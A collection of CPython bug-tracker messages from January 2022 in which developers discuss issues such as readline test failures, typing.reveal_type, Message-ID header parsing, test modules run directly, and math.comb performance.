"input-readline*.patch" patches and GH-7133 spawn a fresh Python process to make sure that the readline is not imported or to import readline explicitly. They are better than my fix, but they are more complicated. It seems likle these changes also fix test_input_tty_non_ascii() but I don't understand how.

I cannot reproduce this issue on the Python main branch on Fedora 35 with Tk 8.6.10 and libX11 1.7.3.1. I close the issue, please reopen it if you can still reproduce it.
One year ago, Serhiy wrote that the issue was still reproducible on Linux but he didn't mention the Tk and libX11 versions.
I used the command:
./python -Wd -E -bb -m test -vuall test_tk test_builtin
Versions:
$ make pythoninfo|grep ^tk
tkinter.TCL_VERSION: 8.6
tkinter.TK_VERSION: 8.6
tkinter.info_patchlevel: 8.6.10
$ rpm -q tk tcl libX11
tk-8.6.10-7.fc35.x86_64
tcl-8.6.10-6.fc35.x86_64
libX11-1.7.3.1-1.fc35.x86_64

Subject: [issue46410] TypeError when parsing regexp with unicode named
character sequence escape
Message-ID: <1642422690.85.0.963373421806.issue46410@roundup.psfhosted.org>
New submission from Jirka Marsik <jiri.marsik at oracle.com>:
re.compile(r"\N{name of Unicode Named Character Sequence}"), e.g. re.compile(r"\N{KEYCAP NUMBER SIGN}"), throws a TypeError. The regular expression parser relies on 'unicodedata' to lookup character names. The 'unicodedata' module recently added support for Unicode Named Character Sequences (https://www.unicode.org/Public/13.0.0/ucd/NamedSequences.txt). Trying to use these named character sequences in a regular expression leads to a 'TypeError', as the regexp parser tries to call 'ord' on a string with length > 1.

The "./python -m test -R 3:3 test_builtin" command loads the readline module somehow:
---
$ ./python -i -m test -R 3:3 test_builtin
(...)
SystemExit: 0
>>> import sys
>>> 'readline' in sys.modules
True

This bug is a duplicate of bpo-13886. Moreover, I tested manually: my change GH-30631 fix this issue.

Sorry, I had to revert the change since it broke the CI and it prevented to merge new PRs. Tell me if I can help to get this test fixed and to get this change merged again.
By the way, the PR 30582 was merged even if the Docs CI failed.

Oh ok, it's a simple bug in my test. I wrote GH-30636 to fix it.

IMO, the URI "API" is not very pythonic; I have to look up the format every time I'm using it.
OTOH, introducing flags, or keywords, for every option will add a lot of code.

Ok, the initial issue is now fixed: the test pass.
If someone wants to write test input() with non-ASCII input and readline, I suggest to open a new issue and add the test in the test_readline module instead.

Message-ID: <1642428979.99.0.610127910325.issue22039@roundup.psfhosted.org>
Petr Viktorin <encukou at gmail.com> added the comment:
This cannot be changed in 3.x, since the PyObject_DelAttr macro calls PyObject_SetAttr(..., NULL), and the macro is expanded in all extensions that use the stable ABI.
(Technically, it would be possible to add a PyObject_SetAttr *macro* that would warn/fail, while keeping the PyObject_SetAttr *function* untouched, but that would be a pain to test/maintain.)
The wording could be clarified to something like: "This behaviour is deprecated in favour of using PyObject_DelAttr(), but there are currently no plans to remove it."

Message-ID: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Today I've noticed that these two methods are not covered: https://github.com/python/cpython/blame/16901c0482734dbd389b09ca3edfcf3e22faeed7/Lib/typing.py#L1028-L1032
- `typing._GenericAlias.__or__`
- `typing._GenericAlias.__ror__`
Later, I've realized that these two methods are not covered as well: https://github.com/python/cpython/blame/16901c0482734dbd389b09ca3edfcf3e22faeed7/Lib/typing.py#L1149-L1153
- `typing._SpecialGenericAlias.__or__`
- `typing._SpecialGenericAlias.__ror__`
My test plan is:
1. Cover regular `_GenericAlias` with `|` operation
2. Cover some `_SpecialGeneriAlias` instances like `Sized` and `Hashable`
3. Cover `Callable` and `Tuple` types, because they are a special-cased subtypes of `_SpecialGeneriAlias`
PR is on its way.

Subject: [issue46414] Add typing.reveal_type
Message-ID: <1642431742.97.0.220350932108.issue46414@roundup.psfhosted.org>
New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:
The `reveal_type()` primitive is injected by type checkers into the builtins. When the type checker sees a call, it prints the inferred type of the argument.
This has been implemented across all type checkers, but adding an implementation to `typing` would help document the behavior and make it more discoverable for users. Also, it means code with `reveal_type()` calls can run without runtime errors, useful if you want to run your tests at the same time as you're debugging a typing issue.
The runtime implementation can be very simple:
def reveal_type(obj: _T, /) -> _T:
print("Runtime type is", type(obj))
return obj
reveal_type() is supported by all type checkers that I'm aware of (docs include https://google.github.io/pytype/faq.html#can-i-find-out-what-pytype-thinks-the-type-of-my-expression-is for pytype and https://mypy.readthedocs.io/en/stable/common_issues.html#reveal-type for mypy).
One area of divergence is the return value. Pyright returns the inferred type of the expression as a string (and uses that in its test suite for testing type inference). Mypy returns the argument, which has the advantage that you can insert `reveal_type()` in the middle of an expression without having to put it on its own line. Also, the Pyright behavior cannot sensibly be implemented at runtime. Therefore, I suggest using Mypy's behavior for `typing.reveal_type`.

Subject: [issue46415] ipaddress.ip_{address, network,
interface} raise TypeError instead of ValueError if given a tuple as
address
Message-ID: <1642432880.71.0.920600004529.issue46415@roundup.psfhosted.org>
New submission from Thomas Cellerier <thomascellerier at gmail.com>:
`IPv*Network` and `IPv*Interface` constructors accept a 2-tuple of (address description, netmask) as the address parameter.
When the tuple-based address is used errors are not propagated correctly through the `ipaddress.ip_*` helper because of the %-formatting now expecting several arguments:
In [7]: ipaddress.ip_network(("192.168.100.0", "fooo"))

New submission from Nikita Sobolev <mail at sobolevn.me>:
Here's the problem:
```
? ./python.exe Lib/test/test_typing.py
........................................................................................................................................................................................................s.....................................................................................................................F.........................................................................................
======================================================================
FAIL: test_special_attrs2 (__main__.SpecialAttrsTests)

Traceback (most recent call last):

self.assertEqual(
^^^^^^^^^^^^^^^^^
AssertionError: '__main__' != 'test.test_typing'
- __main__
+ test.test_typing
```
I think it is a good idea to use the same hack we have in `test_enum.py`: https://github.com/python/cpython/blob/83d544b9292870eb44f6fca37df0aa351c4ef83a/Lib/test/test_enum.py#L34
```python
MODULE = ('test.test_typing', '__main__')[__name__=='__main__']
```
PR is on its way :)

That bit of code is from the unittest suite, not the doctest suite.
I went with:
self.assertEqual(repr(type), '<SocketKind.SOCK_STREAM: %r>' % type.value)

Pure enums have a few more dir() entries now; mixed enums now show all inherited methods/attributes -- members still do not show up in member dirs (this is a good thing).

Subject: [issue46417] [subinterpreters] Clear static types in Py_Finalize()
Message-ID: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org>
New submission from STINNER Victor <vstinner at python.org>:
Converting static types to heap types is a work-in-progress:
* bpo-40077: "Convert static types to heap types: use PyType_FromSpec()"
* At December 29, 2020, 43% (89/206) of types are declared as heap types on a total of 206 types. For comparison, in Python 3.8, only 9% (15/172) of types were declared as heap types: 74 types have been converted in the meanwhile.
* https://vstinner.github.io/isolate-subinterpreters.html
Static types are still causing issues with Py_Initialize() / Py_Finalize() is called multiple times in the same process, which is a supported use case for embedded Python. See bpo-45691 "Partial moving of core objects to interpreter state is incorrect at best, unsafe at worse" for a recent example with sys.float_info where sys.float_info.n_unnamed_fields holds a reference to a Python object.
In june 2020, I wrote GH-20763 to clear static types at exit. But I abandoned my attempt because of bugs. Copy of my https://bugs.python.org/issue1635741#msg371119 message:
"""
I wrote PR 20763 to "finalize" static types in Py_Finalize(). It mostly works, but "./Programs/_testembed test_forced_io_encoding" crash. This program calls Py_Initialize() and Py_Finalize() multiple times in a loop.
It doesn't look to be safe to clear static types. Many functions rely on the fact that static types are "always there" and are never finalized. Also, only a few static types are cleared by my PR: many static types are left unchanged. For example, static types of the _io module.
It seems like a safer approach is to continue the work on bpo-40077: "Convert static types to PyType_FromSpec()".
"""
I propose a "best effort" approach: only clear a static type if it is no longer used. For example, check its reference count and its __subclasses__() method.

Python 3.9 and 3.10 are concerned by this issue: integer singletons are per-interpreter since Python 3.9.
Should Python 3.9 and 3.10 be fixed? "x is 0" is recommended and should be used. For example, the compiler emits a SyntaxWarning:
$ python3.9
>>> x=0
>>> x is 0
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
I propose to only fix the main branch and so close the issue.

Subject: [issue46418] Simplify `MODULE` variable in `test_enum.py`
Message-ID: <1642445416.0.0.633681302666.issue46418@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now `MODULE` in Lib/test/test_enum.py is defined as:
```python
MODULE = ('test.test_enum', '__main__')[__name__=='__main__']
```
I dived into history and did not find any reasoning why it should not be just `__name__`. (But, I might had missed it: the first usage of it is dated back to 2016)
This came up in https://github.com/python/cpython/pull/30641
So, I think it is a good idea to simplify it like this:
```python
MODULE = __name__
```
Probably, this won't cause any more confusion in the future :)
I am not going to change all `MODULE` usages to `__name__` to keep the diff as minimal as possible.

I have to perform several tests to provide a detailed report, check other
third party libraries, mysql connector for example, and send it to you.
There are several things that don't work with Qt libs (the one that works
best is PyQt6). When I finish the tests and have the report, I'll send it
to you. In the meantime I suggest you search for pyqt6 + python3.10 on the
web. There are plenty of complaints on all platforms (Windows, Mac and
Linux). My system is Manjaro Linux , kernel version 5.15-2 , the PyQt6
version installed is 6.22.3 . So far I have verified that it is not the
fault of the IDE and that it does not install the plugins via pip . Of
course I will report the same to River Bank Computing. Sorry I can't be
more specific at the moment, because python has been updated on my system
recently.
Thanks for your patience , I 'll send you a full report in a couple of days
. that takes work

Message-ID: <1642453426.31.0.937573070958.issue46419@roundup.psfhosted.org>
New submission from Jorgen Harmse <jharmse at roku.com>:
The description of classes mentions twice that methods are like C++ virtual member functions, but the truth is a bit stranger.
Even __init__ seems to act like a virtual function, so there is no guarantee that the base-class part of a derived-class instance is properly constructed.
Even if the base class __init__ is called, it may behave erratically. The object is already considered to belong to the derived class, so any method calls will resolve to the derived class. In C++, the run-time type inside any constructor or destructor always matches the compile-time type. Derived-class members are not called because those methods would attempt to use parts of the object that haven't been constructed yet or have already been destructed. Python takes no such precautions, and programmers should be warned accordingly. (I think the solution is to be very careful of calling any other method from __init__.)

David Lord <davidism at gmail.com> added the comment:
I can reproduce this on Python 3.10.
Actually, `input` and `getpass` both seem to have this behavior now. Please reopen it.
```python
import getpass
try:
getpass.getpass("in: ")
except:
pass
print("done")
```
```
$ python example.py
getpass: ^D done
$
```
Run this and press `Ctrl+D` or `Ctrl+C`. The shell prompt appears on the same line rather than the next line.

Meant to say that "done" shows up on the same line, not the shell prompt. An earlier version of my example was in the REPL, where its prompt *does* show up on the same line.

R. David Murray <rdmurray at bitdance.com> added the comment:
Note that the parser does attempt to accept obsolete syntax (registering defects for it), so if there is a bug in the implementation of the obsolete syntax handling it should be fixed. And yes, there have been other bugs with whitespace handling in the parser, unfortunately.
Examples would be most helpful, even if you don't write unit tests. Most of the tests, by the way, are in test__header_value_parser (search for message_id). There aren't very many, so more would be good.

Message-ID: <1642462502.0.0.0134332485819.issue46421@roundup.psfhosted.org>
New submission from Bader Zaidan <github at zaidan.pw>:
When running a local unittest as a module (for example, `python -m unittest ./tests/*.py`), the command fails with a ValueError. However, if we remove the local directory definition, and call it as `python -m unittest tests/*.py`, it runs without issue.
A GitHub pull request with a pull request will be sent promptly.

The issue stems with having "." as its own value in the parts list of `unittest/loader.py`.

Thanks for the PR! This is a good contribution, that wasn't trivial to do. It should be in Python 3.11 alpha 5, so please test it out and make sure it's behaving as you expect.

In-Reply-To: <1634089522.9.0.931859161119.issue45452@roundup.psfhosted.org>
Message-ID: <1642474584.76.0.623209008989.issue45452@roundup.psfhosted.org>
Gregory P. Smith <greg at krypto.org> added the comment:
The gdbm module's purpose is effectively one of just exposing the underlying C library APIs to Python as you said.
Consider this a +1 in favor of exposing the new APIs in the Python gdbm module.
I'm not concerned about anyone wanting these in older Python versions. It really requires a combination of modern software in order to use. Running on a recent kernel version, using a non-default fancy filesystem, and linking against a recent gdbm library. So being a new feature in 3.11 makes sense. Anyone satisfying all of the above is highly likely to already also use a recent CPython.
If anyone _really_ wants it for older things, they can maintain backport on PyPI.

Message-ID: <1642490072.76.0.620045385936.issue46005@roundup.psfhosted.org>
Tal Einat <taleinat+python at gmail.com> added the comment:
First, I think that it's good and useful to have full, well-maintained examples of how to build extension modules in the docs.
Second, until distutils is removed, I think we should keep the documentation for how to use it. Due to this, I don't think adding the "setuptools disclaimer" would be appropriate, since we shouldn't remove the section once the setuptools docs are updated.
It seems to me that we should:
1. Add a prominent note about distutils being deprecated and what that means: can one still use it, should one still use it, when is it planned to be removed, etc.
2. Add mention that 3rd-party tools are now the recommended way to build extensions. Include links to the sections in these libraries' docs explaining how to build extensions.

When the library is being used to parse existing emails, I think it needs to do the minimum validation and canonicalisation.
It may be useful in some circumstances to report where the input is not syntactically correct, but I'm not sure it is helpful to truncate the input at the first syntax error.
When the library is used to generate emails, validation should be very strict.

Subject: [issue46422] Why do we need `dis.Positions`?
Message-ID: <1642509008.04.0.395294321194.issue46422@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
While working on https://github.com/python/cpython/pull/30058 I've noticed that `Positions` namedtuple is kinda strange, source:
https://github.com/python/cpython/blame/8c2fd09f365e082cfceb29afdf38953cdd670946/Lib/dis.py#L204-L213
Why?
1. It is not used. `grep` shows that:
```
? ag Positions .
Misc/HISTORY
21894: treated as being relative to the end of the input string. Positions
Objects/codeobject.c
1021:static PyTypeObject PositionsIterator = {
1067: positionsiterator* pi = (positionsiterator*)PyType_GenericAlloc(&PositionsIterator, 0);
Mac/PythonLauncher/English.lproj/MainMenu.nib/info.nib
7: <key>IBEditorPositions</key>
Lib/dis.py
204:Positions = collections.namedtuple(
205: 'Positions',
239:_Instruction.positions.__doc__ = "dis.Positions object holding the span of source code covered by this instruction"
259: positions - Optional dis.Positions object holding the span of source code
Lib/test/test_compile.py
1013:class TestSourcePositions(unittest.TestCase):
Doc/library/re.rst
1579:Finding all Adverbs and their Positions
```
2. Commenting it out does not make `test_dis` to fail (again, because it does not seem to be used)
3. It is documented (in docstrings only, not in `dis.rst`) that `Instruction.positions` is `dis.Positions`, but this is not true. Because `Instruction` is created as:
```python
co_positions = co_positions or iter(())
try:
positions = next(co_positions)
except StopIteration:
positions = None
Instruction(positions=positions)
```
So, it is at best is `tuple | None`. Never `Positions`.
What to do with it?
1. Should it be removed as unused, undocumented, and unreleased?
2. Should it be used as documented? Here: https://github.com/python/cpython/blame/8c2fd09f365e082cfceb29afdf38953cdd670946/Lib/dis.py#L453-L455
3. Any other ideas?
In my opinion, it is not required, because we already have `codeobject.co_positions` which is pretty much the same thing: https://docs.python.org/3.11/reference/datamodel.html?highlight=co_positions#codeobject.co_positions
I would like to work on it after a final decision is made :)

If we have static types, that means there is a mechanism to share some objects across interpreters.
And if that's the case, why can't small ints (like sys.float_info.n_unnamed_fields) be static & shared as well?

It is found by the module-level guess_type but not by the MimeType class's guess_type:
>>> from mimetypes import MimeTypes
>>> MimeTypes().guess_type('test.jp2')
(None, None)
>>> mimetypes.guess_type('test.jp2')
('image/jp2', None)
>>>
That difference is the subject of Issue38656.
What remains to decide here is whether jp2 should be added to the builtin list of mimetypes.

As noted in Issue32462, the fact that system files take precedence over the definitions in the sodlib is a feature, so the proposed patch to reverse this behaviour cannot be applied unless it is decided to change the API in this way. That would require a discussion on python-ideas. If you want to being it up there, and there is a decision to change the behaviour, please create a new issue.

In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org>
Message-ID: <1642514337.76.0.937963974418.issue46417@roundup.psfhosted.org>
STINNER Victor <vstinner at python.org> added the comment:
> If we have static types, that means there is a mechanism to share some objects across interpreters.
Sharing objects between interpreters is bad and is causing complex bugs. See a recent example of an object traveling from one interpreter to another and then causing a random crash on Windows related to the garbage collector:
* https://bugs.python.org/issue46070
* https://github.com/python/cpython/pull/30577#pullrequestreview-852106207
> And if that's the case, why can't small ints (like sys.float_info.n_unnamed_fields) be static & shared as well?
I would prefer to discuss that in other issues like bpo-40255 or bpo-39511, and focus this issue on fixing the static types implementation when Python is embedded in an application.
--
Hum, this issue is not really related to sub-interpreters. My proposed PR only changes Py_Finalize(): the main interpreter.

Thanks for the report. This is a long-standing and known behaviour. It's been discussed a good few times before, and (quite apart from potential problems with backwards compatibility) no-one has yet come up with convincing alternative behaviours.
See https://docs.python.org/3/faq/programming.html#why-does-a-tuple-i-item-raise-an-exception-when-the-addition-works

this issue is different than Issue32462
because here, both entries are valid
```
cat /etc/mime.types | grep javascript
application/javascript js
application/x-javascript js
```
but the alphabetical ordering of the file
makes the last entry take precedence
python could be smarter at parsing the /etc/mime.types file
in that it could give lower precedence to the deprecated types
pseudocode:
deprecated_mimetypes = set(...) # values from rfc4329
mimetype_of_ext = dict()
# parser loop
for ...
ext = "..."
mimetype = "..."
if ext in mimetype_of_ext:
old_mimetype = mimetype_of_ext[ext]
if old_mimetype in deprecated_mimetypes:
mimetype_of_ext[ext] = mimetype # replace old with new
# assume that mimetype is not deprecated
mimetype_of_ext[ext] = mimetype

I think an id of the form
<A.A.A.A(A-A)@A.A.A>
should be allowed, but it generates
<A.A.A.A
i.e. stops at the '('
I read the syntax from RFC5322 as follows:
id-left => obs-id-left => local-part => obs-local-part => word *("." word)
word => atom => [CFWS] 1*atext [CFWS]
'<A.A.A at A.A (A A)>' should also be allowed but generates '<A.A.A at A.A> (A A)'
and '<A at A.A.A A.A>' gives '<A at A.A.A> '

Subject: [issue46425] Multiple test modules fail to run if invoked directly
Message-ID: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
While working on a similar issue for `test_typing.py` (https://bugs.python.org/issue46416) I wondered: how many other modules also have this problem?
So, after several hours of local testing, I got several problems:
- Lib/test/test_compileall.py
Uses relative `.` import that cannot be resolved
- Lib/test/test_distutils.py
Is missing `import unittest` to run `unittest.main()`
- Lib/test/test_dtrace.py
Calls undefined `test_main()` instead of `unittest.main()`
- Lib/test/test_tools/test_freeze.py
Uses relative `.` import that cannot be resolved
- Lib/test/test_zipfile64.py
Imports undefined `from test.support import TESTFN`
- Lib/unittest/test/test_program.py
Uses relative `.` import that cannot be resolved
Probably there are other problems, because I haven't checked:
- Windows tests, because I don't have a Win machine
- `test_importlib`, because it has a lot of failure (I don't know how to fix them yet)
- Multiple other modules with slow tests
- Modules with doctests which assert full `__qualname__` with module names
To keep PRs reviews sane, I will include changes for several modules and split this big task of checking all test modules into several consecutive and rather simple pull requests.
The first one with the problems described above is on its way!

Subject: [issue46426] Improve tests for the dir_fd argument
Message-ID: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org>
New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:
There is a flaw in tests for the dir_fd argument in test_posix. All these tests open a current directory as dir_fd, so all paths are relative to the current directory. They will pass in case of the following errors:
1. dir_fd, src_dir_fd or dst_dir_fd are completely ignored.
2. The meaning of src_dir_fd and dst_dir_fd is opposite.
The proposed PR rewrites these tests. It is ensure that directory file descriptors refer to directories different from the current directory, and that src_dir_fd and dst_dir_fd refer to different directories, and that all tested filenames are unique, so files cannot be confused with existing diles in different directories.
Also add context manager open_dir_fd() in test.support.os_helper. It may be helpful in other tests for the dir_fd argument.

Nikita, thanks for doing this.
Ethan's suggestion has two advantages. 1. It would fix most backport issues. By containing a mix of changes, PR-30666 cannot be backported as is. 'unittest.main' should always backport unless there is a context conflict. But 3.9 does not have os.helper and TESTFN is still in test.support in 3.9 and that change cannot backport. (I did not check 3.10.)
2. It restricts the knowledge needed to review (and be willing to merge). I could and would review and merge a patch with only unittest.main changes, but not, without checking the docs to learn about new changes, the mixture you posted.
I suggest you write a script to directly run each test.test_xyz file via subprocess and report to stdout. The test for this issue is a clean report. If you do so, I will run it on Windows in a fresh build of each of 3.9, 3.10, and 3.11.
Note that there are two possible commands: 'python -m test test_xyz' and 'python -m test.test_xyz'. They are subtly different. So I would add an option to do it each way.
With current 3.11, test_importlib runs fine on my Windows, with 1436 tests.

Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe
Message-ID: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org>
New submission from neonene <nicesalmon at gmail.com>:
In pcbuild.proj, "PreferredToolArchitecture" property looks misused, which I think is useful giving us two selections of a compiler (32bit or 64bit) for any target architecture (Win32/x64/ARM/ARM64).
I think the property can be unused there. This means a partial revert of PR28491, whose description I cannot reproduce. This also rolls _freeze_module.exe's architecture back to x64 when the target platform is x64 or ARM64.

Subject: [issue46392] MessageIDHeader is too strict for message-id
In-Reply-To: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org>
Message-ID: <1642539791.9.0.261012493924.issue46392@roundup.psfhosted.org>
R. David Murray <rdmurray at bitdance.com> added the comment:
The general idea is that the string version of the header should contain all of the original information, but the parsed elements (the things returned by special header attributes) will contain the valid data, if any. So if the string version of the header is being truncated or transformed (other than whitespace changes during re-folding), that is a bug.
Your examples involve comment fields, and I'm afraid that my development of the parser stopped before I did very much with comments. Therefore I am not surprised that comments are handled incorrectly :( :( They aren't very common in the wild, as far as I was able to tell. which is why they were my last priority.

Great. I was considering closing it as soon as the backports have landed (I had to manually fix them bco. make suspicious failures).

For now, Python thread names are always empty (as in many other programs). So Python-oriented tools that could expect some other outcome to bother check the names are just impossible (there is no alternative semantics they could perform in non-empty case).

Antoine Pitrou <pitrou at free.fr> added the comment:
Two things:
1) I agree this is an extremely valuable addition for any package or application that does a non-trivial use of threads in Python.
2) It should at least be exposed as a standalone function in the `threading` module, *and* ideally also be called automatically by the `Threading._bootstrap` method.

Eryk Sun <eryksun at gmail.com> added the comment:
PR 30142 is sufficient for Unix, but it's missing a bit for Windows.
In Windows, the C runtime library maps the console event for Ctrl+Break to SIGBREAK. The default handler for SIGBREAK exits with 0xC000013A (i.e. STATUS_CONTROL_C_EXIT). This value is unrelated to the value of signal.SIGBREAK (21) or signal.SIGINT (2).
To forcefully terminate a process, Windows taskkill and Task Manager, and pretty much all utilities that can kill a process, call TerminateProcess() with 1 as the exit status. There's no way to know that this is a forced termination as opposed to an unhandled error.
The internal terminate() method in Windows uses 0x10000 as the real exit status of the process, but the internal wait() method maps this to -signal.SIGTERM (-15). Thus the case of calling Process.terminate(), and only this case, is faked in Windows to look like the process was killed by a signal.

Correcting: from x86 back to x64
In my recognition, only Win32 _freeze_module.exe is built currently and run on non-ARM machines to generate the code for Win32/x64/ARM/ARM64 targets.

Terry, yes I am using this script to run tests locally:
```bash
#!/usr/bin/env bash
set -e
while read line; do
./python.exe "$line"
done < files.txt
```
And this one to populate `files.txt`:
```bash
find ./Lib -iname 'test*.py' -o -iname '*tests.py' -exec echo {} >> files.txt \;
```
---
There are several other problems that I have to fix manually. For example, module-level `raise unittest.case.SkipTest()`:
```
? ./python.exe Lib/test/test_winreg.py
Traceback (most recent call last):
File "/Users/sobolev/Desktop/cpython/Lib/test/support/import_helper.py", line 77, in import_module
return importlib.import_module(name)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

ModuleNotFoundError: No module named 'winreg'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/Users/sobolev/Desktop/cpython/Lib/test/test_winreg.py", line 11, in <module>
import_helper.import_module('winreg', required_on=['win'])

raise unittest.SkipTest(str(msg))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
unittest.case.SkipTest: No module named 'winreg'
```
I am not sure what is the proper solution to this one :thinking:
Probably, I will update my script for more advanced Python-based one and ignore this exception.
In the end, I expect to run this script without any failures. This is going to be a great result!
---
I will also check that all possible modes `python -m test test_xyz` / `python -m test.test_xyz` / `python Lib/test/test_xyz.py` are supported.
---
Also, thank you for listing concrete problems with my first submission. The second one is bound to a single problem and a single submodule.

I agree, there is no point copying over the documentation just for this one constant, there are many others and the doc clearly says where they are listed.

Sorry, I think '<A at A.A.A A.A>' is not valid, as spaces are not allowed between words.
However I am not seeing the original unfolded source if there is an error, unless I am misunderstanding the API.
For example:
--- cut here ---
import email.header
import email.utils
import email.policy
def test(test):
msg_string = f"Message-id: {test}"
message = email.message_from_string(msg_string, policy=email.policy.default)
out = message['Message-id']
print(test)
print(out)
test('<A at A.A.A A.A>') # invalid
test('<A at A.A.AA.A>') # valid
--- cut here ---
This produces:
<A at A.A.A A.A>
<A at A.A.A> # truncated at error
<A at A.A.AA.A>
<A at A.A.AA.A>
i.e. the invalid input is truncated

The types of `.keys()`, `.items()`, and `.values()` on `collections.OrderedDict` are distinct from those for dict, and they are also not exposed anywhere. Should we put them in a public, documented place too for consistency?
>>> import collections
>>> od = collections.OrderedDict()
>>> type(od.keys())

I am not happy about exposing every internal types. I prefer duck typing.
Like OrderedDict, not all dict subtypes uses `dict_keys`, `dict_views`, and `dict_items`.
If typeshed annotate dict.keys() returns `dict_keys`, "incompatible override" cano not be avoided.
I prefer:
* Keep status-quo: keys().mapping cause false positive and user need to suppress. This is not a big problem because `.mapping` is very rarely used.
* Or add `.mapping` to `KeysView`, `ValuesView`, and `ItemsView`. Force every dict subclasses to implement it.

Important note, in practice there's also a difference in how one calls some test module:

- python ./Lib/test/test_contextlib.py
Example of a test failure because of that: https://github.com/python/cpython/pull/30681

In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org>
Message-ID: <1642580068.77.0.124366391776.issue37295@roundup.psfhosted.org>
Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
All this should be tested with the C implementation because relative cost of operations is different in C and Python.
I have tested Raymond's idea about using iterative algorithm for small k.
$ ./python -m timeit -s 'from math import comb' "comb(3329023, 3)"
recursive: Mean +- std dev: 173 ns +- 9 ns
iterative: Mean +- std dev: 257 ns +- 13 ns
$ ./python -m pyperf timeit -s 'from math import comb' "comb(102571, 4)"
recursive: Mean +- std dev: 184 ns +- 10 ns
iterative: Mean +- std dev: 390 ns +- 29 ns
$ ./python -m pyperf timeit -s 'from math import comb' "comb(747, 8)"
recursive: Mean +- std dev: 187 ns +- 10 ns
iterative: Mean +- std dev: 708 ns +- 39 ns
Recursive algorithm is always faster than iterative one for k>2 (they are equal for k=1 and k=2).
And it is not only because of division, because for perm() we have the same difference.
$ ./python -m pyperf timeit -s 'from math import perm' "perm(2642247, 3)"
recursive: Mean +- std dev: 118 ns +- 7 ns
iterative: Mean +- std dev: 147 ns +- 8 ns
$ ./python -m pyperf timeit -s 'from math import perm' "perm(65538, 4)"
recursive: Mean +- std dev: 130 ns +- 9 ns
iterative: Mean +- std dev: 203 ns +- 13 ns
$ ./python -m pyperf timeit -s 'from math import perm' "perm(260, 8)"
recursive: Mean +- std dev: 131 ns +- 10 ns
iterative: Mean +- std dev: 324 ns +- 16 ns
As for the idea about using a table for fixed k=20, note that comb(87, 20) exceeds 64 bits, so we will need to use a table of 128-bit integers. And I am not sure if this algorithm will be faster than the recursive one.
We may achieve better results for lesser cost if extend Mark's algorithm to use 128-bit integers. I am not sure whether it is worth, the current code is good enough and cover the wide range of cases. Additional optimizations will likely have lesser effort/benefit ratio.

OK, I close this bpo. We can reopen or create a new bpo if we find a useful user case. Thank you all for joining this bpo :)

Batuhan Taskaya <isidentical at gmail.com> added the comment:
The initial aim of the dis.Positions was to provide an interface like AST nodes. So you could do
for instr in dis.Bytecode(source):
print("located in: ", instr.positions.lineno)
instead of
for instr in dis.Bytecode(source):
if instr.positions:
lineno = instr.positions[0]
else:
lineno = None
print("located in: ", lineno)
I think this is a bug that we are not currently using it, I'd say we should use it properly and go with option 2.

I agree with Inada that not every internal type should be exposed, but I would make an exception for the dict views classes due to the fact that dict subclasses are much more common than subclasses of other mappings, such as OrderedDict. I don't think it's *particularly* important to expose the OrderedDict views classes in the same way.
Adding the "mapping" attribute to KeysView/ValuesView/ItemsView seems like it could be quite disruptive ? there may be a lot of third-party users with classes that inherit from those, who'd need to make changes to their code. From a typing perspective, it would also mean that KeysView and ValuesView would have to be parameterised with two TypeVars (key-type and value-type), whereas now they both only take one (KeysView is parameterised with the key-type, ValuesView with the value-type).

I don't think it's *particularly* important to expose the OrderedDict views classes in the same way.
I am afraid that you misread me. I used OrderedDict as one example of dict subclass. I didn't mean dict_(keys|items|values) shouldn't exposed because of I don't want to expose odict_(keys|items|values).
Anyway, OrderedDict was not good choise to explain my thought because its builtin type and defined in typeshed. Instead, I use sortedcontainers.SortedDict as example.
See https://github.com/grantjenks/python-sortedcontainers/blob/dff7ef79a21b3f3ceb6a19868f302f0a680aa243/sortedcontainers/sorteddict.py#L43
It is a dict subclass. It's `keys()` method returns `SortedKeysView`.
`SortedKeysView` is subclass of `collections.abc.KeysView`. But it is not subclass of `dict_keys`.
If `dict.keys()` in typeshed defines it returns `dict_keys`, doesn't mypy flag it as an "incompatible override"?
So I propose that typeshed defines that dict.keys() returns KeysView, not dict_keys.
Although subclass of dict is very common, it is very rare that:
* Override `keys()`, and
* Returns `super().keys()`, instead of KeysView (or list), and
* `.keys().mapping` is accessed.
It is very minor inconvinience that user need to ignore false positive for this very specific cases.
Or do you think this case is much more common than classes like SortedDict?
Note that dict_(keys|items|values) is implementation detail and subclassing it doesn't make sense.
Another option is adding more ABC or Protocol that defines `.mapping` attribute.
SortedKeysView can inherit it and implement `.mapping`.

In other words,
a. If `.keys()` in all dict subclasses must return subclass of `dict_keys`: `dict.keys() -> dict_keys`.
b. If `.keys().mapping` must be accessible for all dict subclasses: Add `.mapping` to `KeysView`.
c. If `.keys().mapping` is optional for dict subclasses: typeshed can't add `.mapping` to anywhere, AFAIK.

comb(n, k) can be computed as perm(n, k) // factorial(k).
$ ./python -m timeit -r1 -n1 -s 'from math import comb' "comb(1000000, 500000)"
recursive: 1 loop, best of 1: 9.16 sec per loop
iterative: 1 loop, best of 1: 164 sec per loop
$ ./python -m timeit -r1 -n1 -s 'from math import perm, factorial' "perm(1000000, 500000) // factorial(500000)"
recursive: 1 loop, best of 1: 19.8 sec per loop
iterative: 1 loop, best of 1: 137 sec per loop
It is slightly faster than division on every step if use the iterative algorithm, but still much slower than the recursive algorithm. And the latter if faster if perform many small divisions and keep intermediate results smaller.

